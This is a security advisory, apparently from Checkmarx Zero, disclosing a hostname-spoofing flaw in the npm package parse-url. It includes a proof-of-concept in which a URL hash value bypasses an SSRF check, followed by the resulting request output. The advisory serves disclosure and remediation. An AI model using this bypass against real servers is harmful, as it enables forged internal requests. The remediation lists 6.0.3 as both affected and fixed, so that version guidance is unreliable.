Disclosed vulnerabilities
No CVE assigned Published: Sep 12, 2022

Hostname Spoofing via Improper Input Validation in parse-url

7.5 High Severity hostname improper input javascript node nodejs npm spoofing validation
@p0cas Reported by Checkmarx Zero

Summary

Hostname Spoofing via Improper Input Validation in parse-url.

Product

parse-url through 6.0.0, and versions 6.0.2, 6.0.3, 6.0.5.

Steps to reproduce

{
  protocols: [ 'http' ],
  protocol: 'http',
  port: null,
  resource: 'localhost#hashvalue',
  user: '',
  pathname: '',
  hash: '',
  search: '',
  href: 'http://localhost#hashvalue',
  query: [Object: null prototype] {}
}

Expected result:

const http = require("http")

parsed = parseUrl('http://localhost#hashvalue')
if (parsed.resource== 'localhost') {
    console.log('WAF!!!')
} else {
    console.log('bypass!!')
    console.log(http.get(parsed.href))
}

bypass!!
ClientRequest {
  _events: [Object: null prototype] {},
  _eventsCount: 0,
  _maxListeners: undefined,
  outputData: [
    {
      data: 'GET / HTTP/1.1rnHost: localhostrnConnection: closernrn',
      encoding: 'latin1',
      callback: [Function: bound onFinish]
    }
  ],
  outputSize: 54,
  writable: true,
  destroyed: false,
  _last: true,
  chunkedEncoding: false,
  shouldKeepAlive: false,
  maxRequestsOnConnectionReached: false,
  _defaultKeepAlive: true,
  useChunkedEncodingByDefault: false,
  sendDate: false,
  _removedConnection: false,
  _removedContLen: false,
  _removedTE: false,
  _contentLength: 0,
  _hasBody: true,
  _trailer: '',
  finished: true,
  _headerSent: true,
  _closed: false,
  socket: null,
  _header: 'GET / HTTP/1.1rnHost: localhostrnConnection: closernrn',
  _keepAliveTimeout: 0,
  _onPendingData: [Function: nop],
  agent: Agent {
    _events: [Object: null prototype] {
      free: [Function (anonymous)],
      newListener: [Function: maybeEnableKeylog]
    },
    _eventsCount: 2,
    _maxListeners: undefined,
    defaultPort: 80,
    protocol: 'http:',
    options: [Object: null prototype] { path: null },
    requests: [Object: null prototype] {},
    sockets: [Object: null prototype] { 'localhost:80:': [Array] },
    freeSockets: [Object: null prototype] {},
    keepAliveMsecs: 1000,
    keepAlive: false,
    maxSockets: Infinity,
    maxFreeSockets: 256,
    scheduling: 'lifo',
    maxTotalSockets: Infinity,
    totalSocketCount: 1,
    [Symbol(kCapture)]: false
  },
  socketPath: undefined,
  method: 'GET',
  maxHeaderSize: undefined,
  insecureHTTPParser: undefined,
  path: '/',
  _ended: false,
  res: null,
  aborted: false,
  timeoutCb: null,
  upgradeOrConnect: false,
  parser: null,
  maxHeadersCount: null,
  reusedSocket: false,
  host: 'localhost',
  protocol: 'http:',
  [Symbol(kCapture)]: false,
  [Symbol(kNeedDrain)]: false,
  [Symbol(corked)]: 0,
  [Symbol(kOutHeaders)]: [Object: null prototype] { host: [ 'Host', 'localhost' ] }
}

When the server has logic to prevent SSRF as above, it can be bypassed by chaining the hostname spoofing vulnerability through the hash value. This is one of the representative examples, and depending on the situation, Open Redirect or Oauth hijacking is also possible.

Remediation

Update parse-url to 6.0.1 or 6.0.3.

Credit

This issue was reported by @p0cas through huntr.dev.

Resources

  1. 21c72ab
  2. Disclosure
  3. Disclosure
  4. Disclosure

Stay connected and never miss a research update!